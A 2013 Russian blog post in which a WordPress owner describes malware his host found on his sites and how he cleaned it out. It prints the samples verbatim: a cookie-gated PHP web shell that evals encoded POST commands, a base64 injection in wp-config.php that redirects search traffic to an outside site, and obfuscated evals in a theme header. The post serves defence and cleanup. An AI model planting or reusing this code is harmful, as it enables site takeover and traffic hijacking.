Каждый вордпрессер обязан знать где сидит "фазан"

Опубликовано mobilekid - пт, 15/02/2013 - 12:36

вордпрессКак я уже сказал - недавно пришло письмо от моего хостера - РегРу, за которое я очень ему благодарен. В письме были перечислены несколько файлов, содержащих вредоносные коды. Ниже я приведу сами коды и их месторасположение, что бы вы сами могли просканировать свои сайты на предмет их наличия. Однако я вовсе не гарантирую, что коды ваши вредоносные коды (если они есть) будут посимвольно соответствовать найденным РегРу. Конечно же и месторасположения скриптов может быть совсем иным или слегка похожим. В общем просто приведу примерные примеры и примерные адреса, простите за тавтологию.Итак, первый файл - 4d38005331e01.php, был расположен в папке загрузки файлов (/wp-content/uploads/2011/01/4d38005331e01.php). Поэтому будьте внимательны, выставляя права на эту папку, если поставить три семерки, то туда кто угодно сможет залить что угодно. Вообще, рекомендую просканировать папку Uploads (/wp-content/uploads/) на наличие файлов с расширением PHP. Вот содержимое найденного файла:

<?php
if (isset($_COOKIE["adm"])) {
    if (isset($_POST['crc'], $_POST['cmd'])) {
        if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) {
            eval(gzuncompress(base64_decode($_POST['cmd'])));
        } else
            echo "repeat_cmd";
    }
}
?>

Немного, но достаточно, что бы подарить админские кукисы злоумышленникам. То есть преподнести им свой сайт на блюдечке с голубой каемочкой.

Следующий код был обнаружен сразу на нескольких сайтах и жил прямо в конфиге wordpress (wp-config.php). В найденных вариантах жил прямо перед началом официального когда, сразу после '<?':

<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3Nl bnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUid dOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZ WZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKC RyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlz dHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN 0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG 9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1b WJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cig kcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwve WFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29 nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15 c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaX N0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY 2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb2 46IGh0dHA6Ly9zaXRlLnBvcnRyZWxheS5jb20vIik7DQoJCWV4aXQoKTsNCgl9DQp9DQp9"));

Что бы понять, что именно эта хрень делает - надо расшифровать указанную строку (это одна строка - без пробелов). Этим я заниматься не стал (хотя есть догадка, что именно этот код отправлял часть трафика на site.portrelay.com) - просто тупо удалил и выставил нормальные права на конфиг (wp-config.php), что бы начало файла выглядело так:

<?php
/**
 * Основные параметры WordPress.

И третий вид вредоносного кода был обнаружен РегРу в файле "/wp-content/themes/*название_темы*/header.php". Собственно само размещение аналогично размещению в конфиге, правда на строчку ниже, итак вот как оно выглядело в header.php:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><?php eval(base64_decode('ZnVuY3Rpb24gdGhlbWVfZm9vdGVyX3QoKSB7IGlmICghKGZ1bmN 0aW9uX2V4aXN0cygiY2hlY2tfdGhlbWVfZm9vdGVyIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJja GVja190aGVtZV9oZWFkZXIiKSkpIHsgdGhlbWVfdXNhZ2VfbWVzc2FnZSgpOyBkaWU7IH0gf SB0aGVtZV9mb290ZXJfdCgpOw==')); ?>
<html xmlns...

Узнали наверное строку, начинающуюся с "eval(base64_decode(" - это и есть вредоносный код, казним ее. Я удалял от "<?" и до "?>", только не перестарайтесь - а то убьете тему (оформление) сайта. На всякий случай я решил проверить остальное содержимое файла. Как оказалось - не зря, вот такой код нашелся ниже:

<?php echo get_theme_option("head") . "\n"; eval(base64_decode('ZnVuY3Rpb24gZnVuY3Rpb25zX2ZpbGVfZXhpc3RzKCkgeyBpZiAoI WZpbGVfZXhpc3RzKGRpcm5hbWUoX19maWxlX18pIC4gIi9mdW5jdGlvbnMucGhwIikgfHw gIWZ1bmN0aW9uX2V4aXN0cygidGhlbWVfdXNhZ2VfbWVzc2FnZSIpICkgeyBlY2hvICgiPHA gc3R5bGU9XCJwYWRkaW5nOjEwcHg7IG1hcmdpbjogMTBweDsgdGV4dC1hbGlnbjpjZW50Z XI7IGJvcmRlcjogMnB4IGRhc2hlZCBSZWQ7IGZvbnQtZmFtaWx5OmFyaWFsOyBmb250LXd laWdodDpib2xkOyBiYWNrZ3JvdW5kOiAjZmZmOyBjb2xvcjogIzAwMDtcIj5UaGlzIHRoZW1lI GlzIHJlbGVhc2VkIGZyZWUgZm9yIHVzZSB1bmRlciBjcmVhdGl2ZSBjb21tb25zIGxpY2VuY2U uIEFsbCBsaW5rcyBpbiB0aGUgZm9vdGVyIHNob3VsZCByZW1haW4gaW50YWN0LiBUaGVz ZSBsaW5rcyBhcmUgYWxsIGZhbWlseSBmcmllbmRseSBhbmQgd2lsbCBub3QgaHVydCB5b 3VyIHNpdGUgaW4gYW55IHdheS4gVGhpcyBncmVhdCB0aGVtZSBpcyBicm91Z2h0IHRvIHl vdSBmb3IgZnJlZSBieSB0aGVzZSBzdXBwb3J0ZXJzLjwvcD4iKTsgZGllOyB9IH0gZnVuY3Rp b25zX2ZpbGVfZXhpc3RzKCk7')); wp_head(); ?>
</head>
<body>

Опять же удаляю строку, начинающуюся с пресловутого "eval(base64_decode('" (до точки с запятой включительно), получается:

<?php echo get_theme_option("head") . "\n";
wp_head(); ?>
</head>
<body>

Вот в общем то и все. Посмотрим как сайты будут работать без этих кодов. С кодами - были глюки и утечка трафика налево. Без них, думаю, что все будет ОК.

И еще - код, описанный здесь первым официально называется {HEX}php.nested.base64.513. А те, что ниже - {HEX}base64.inject.unclassed.7. Есть рекомендации по борьбе с ними у РегРу - вот адрес: https://www.reg.ru/support/help/#!hosting|what_means_site_infected. Стать клиентом хостера-регистратора, который идет навстречу даже вне рамок договора можно здесь. Ну а я пошел пить кофе - устал чего-то.